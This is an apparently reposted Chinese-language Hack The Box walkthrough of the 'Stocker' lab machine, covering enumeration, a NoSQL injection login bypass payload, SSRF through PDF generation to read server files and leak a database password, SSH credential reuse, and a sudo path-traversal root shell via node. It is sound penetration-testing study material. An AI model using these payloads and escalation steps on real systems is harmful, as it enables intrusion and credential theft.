Hackthebox——Stocker

admin 2023年3月21日18:39:44评论83 views字数 5667阅读18分53秒阅读模式

Stocker

攻击机:kali

靶机ip:10.10.11.196

信息收集

端口扫描

nmap -sV -p-10000 10.10.11.196


PORT  STATE SERVICE VERSION 22/tcp open ssh   OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http  nginx 1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


目录扫描


python3 dirsearch.py -u http://stocker.htb/


发现什么都没有。

那么这个时候转变思路。去找子域名。利用gobuster爆破子域名


gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u stocker.htb -t 50 --append-domain
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]


漏洞探测

前面找到了login页面。进入查看一下。

发现登不上。思考了一下应该是域名没解析的问题

ehco "dev.stocker.htb 10.10.11.196">>/etc/hosts

成功进入登录页面。尝试万能密码失败。管他的。先弱密码跑起来再去找其他东西。

弱密码失败。

Nosql注入绕过登录验证

我们登录页面还发现了这里是一个expree的node.js框架。

而结合这里是一个登录页面。那么应该存在的漏洞无非就是弱口令或者sql注入。

通过node.js和sql注入上网搜索。没什么结果。

测试后发现这里是一个Nosql的数据库。那么nosql的bypass方式如下。

https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass书签:[NoSQL injection](https://book.hacktricks.xyz/pentesting-web/nosql-injection#basic-authentication-bypass)

Hackthebox——Stocker

通过抓包改包成功登录后台。


payload: {"username":{"$ne": "x"},"password":{"$ne": "y"}}


Hackthebox——Stocker

功能点很少。

PDF SSRF

这里进入订单页面发现是一个pdf。想到了之前的一个pdf漏洞。操作一下。

Hackthebox——Stocker

Hackthebox——Stocker

这里看到有点东西。

抓包一下发现就这里有点东西了。

Hackthebox——Stocker

通过改包测试

Hackthebox——Stocker

Hackthebox——Stocker

Hackthebox——Stocker

Hackthebox——Stocker

Hackthebox——Stocker

https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/书签:[SSRF Through PDF Generation](https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/)

既然这里存在ssrf了。那么可以读取一些敏感文件。首先思考到index.html是自带的不用去读。

那么我们尝试读一下nginx的配置文件.

file:///etc/nginx/nginx.conf


user www-data; worker_processes auto; pid /run/nginx.pid; include /etc/nginx/modules-enabled/*.conf; events { worker_connections 768; # multi_accept on; } http { ## # Basic Settings ## sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; # server_tokens off; # server_names_hash_bucket_size 64; # server_name_in_redirect off; include /etc/nginx/mime.types; default_type application/octet-stream; ## # SSL Settings ## ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE ssl_prefer_server_ciphers on; ## # Logging Settings ## access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; ## # Gzip Settings ## gzip on; # gzip_vary on; # gzip_proxied any; # gzip_comp_level 6; # gzip_buffers 16 8k; # gzip_http_version 1.1; # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; ## # Virtual Host Configs ## include /etc/nginx/conf.d/*.conf; server { listen 80; root /var/www/dev; index index.html index.htm index.nginx-debian.html;


可以看到这里的路径为/var/www/dev。我们从这里面去尝试读一些文件。

因为这里是一个node.js写的网站。那么就应该会存在index.js这样的文件

file:///var/www/dev/index.js


const express = require("express"); const mongoose = require("mongoose"); const session = require("express-session"); const MongoStore = require("connect-mongo"); const path = require("path"); const fs = require("fs"); const { generatePDF, formatHTML } = require("./pdf.js"); const { randomBytes, createHash } = require("crypto"); const app = express(); const port = 3000; // TODO: Configure loading from dotenv for production const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1"; app.use(express.json()); app.use(express.urlencoded({ extended: false })); app.use( session({ secret: randomBytes(32).toString("hex"), resave: false, saveUninitialized: true, store: MongoStore.create({ mongoUrl: dbURI, }), }) ); app.use("/static", express.static(__dirname + "/assets")); app.get("/", (req, res) => { return res.redirect("/login"); }); app.get("/api/products", async (req, res) => { if (!req.session.user) return res.json([]); const products = await mongoose.model("Product").find(); return res.json(products); }); app.get("/login", (req, res) => { if (req.session.user) return res.redirect("/stock"); return res.sendFile(__dirname + "/templates/login.html"); }); app.post("/login", async (req, res) => { const { username, password } = req.body; if (!username || !password) return res.redirect("/login?error=login-error"); // TODO: Implement hashing const user = await mongoose.model("User").findOne({ username, password }); if (!user) return res.redirect("/login?error=login-error"); req.session.user = user.id; console.log(req.session); return res.redirect("/stock"); }); app.post("/api/order", async (req, res) => { if (!req.session.user) return res.json({}); if (!req.body.basket) return res.json({ success: false });


这里我们拿到了数据库的登录凭证。加上之前再/etc/passwd里面获取到的用户名。

进行撞库ssh登录。


angoose:IHeardPassphrasesArePrettySecure


成功登录上。

提权

cat user.txt


64e161a4a5004d3a12cd4e6d266489a6


提权信息收集

sudo -l


Matching Defaults entries for angoose on stocker:   env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User angoose may run the following commands on stocker: (ALL) /usr/bin/node /usr/local/scripts/*.js


这里看见可以 以root再/usr/local/scripts/目录下对*.js执行node命令。

ls -al


drwxr-xr-x 4 angoose angoose 4096 Mar 3 02:25 . drwxr-xr-x 3 root  root  4096 Dec 23 16:39 .. lrwxrwxrwx 1 root  root    9 Dec 6 09:54 .bash_history -> /dev/null -rw-r--r-- 1 angoose angoose 220 Dec 6 09:53 .bash_logout -rw-r--r-- 1 angoose angoose 3771 Dec 6 09:53 .bashrc drwx------ 2 angoose angoose 4096 Mar 2 08:48 .cache -rw-rw-r-- 1 angoose angoose  67 Mar 2 09:50 cat_flag.js -rw-rw-r-- 1 angoose angoose 138 Mar 3 02:22 flag.js drwxrwxr-x 3 angoose angoose 4096 Mar 2 11:29 .local -rw-r--r-- 1 angoose angoose 807 Dec 6 09:53 .profile -rw-r----- 1 root  angoose  33 Mar 2 08:36 user.txt -rw------- 1 angoose angoose 2465 Mar 2 18:22 .viminfo


cat cat_flag.js


process.stdout.write(require("fs").readFileSync("/root/root.txt"))


cat flag.js


const fs = require(‘fs’); fs.readFile(‘/root/root.txt’, ‘utf8’, (err, data) => { if (err) throw err; console.log(data); });


收集到这里差不多应该知道怎么提权了。

目录遍历提权

首先我们可以在/usr/local/srcipts下以root运行js文件。

但是当前用户对该目录没有写权限。这时候我们可以通过目录遍历来绕过目录限制。

在当前目录下创建一个test.js


require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})


然后运行


sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/test.js


成功提权。

cat /root/root.txt


06e8808600c78a8aafaa44a3b8b18cb0


总结

端口扫描→发现web服务

目录扫描→未发现利用→子域名扫描→发现新的子域名

子域名存在登陆点→sql注入→NOSQL登陆验证bypass

测试功能点→存在自动生成pdf→pdf_ssrf

ssrf读取敏感文件→获取敏感信息→撞库获取初级shell

sudo -l→存在root运行的应用程序→目录遍历提权


原文始发于微信公众号(IRTeam工业安全):Hackthebox——Stocker

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月21日18:39:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hackthebox——Stockerhttp://cn-sec.com/archives/1619080.html

发表评论

匿名网友 填写信息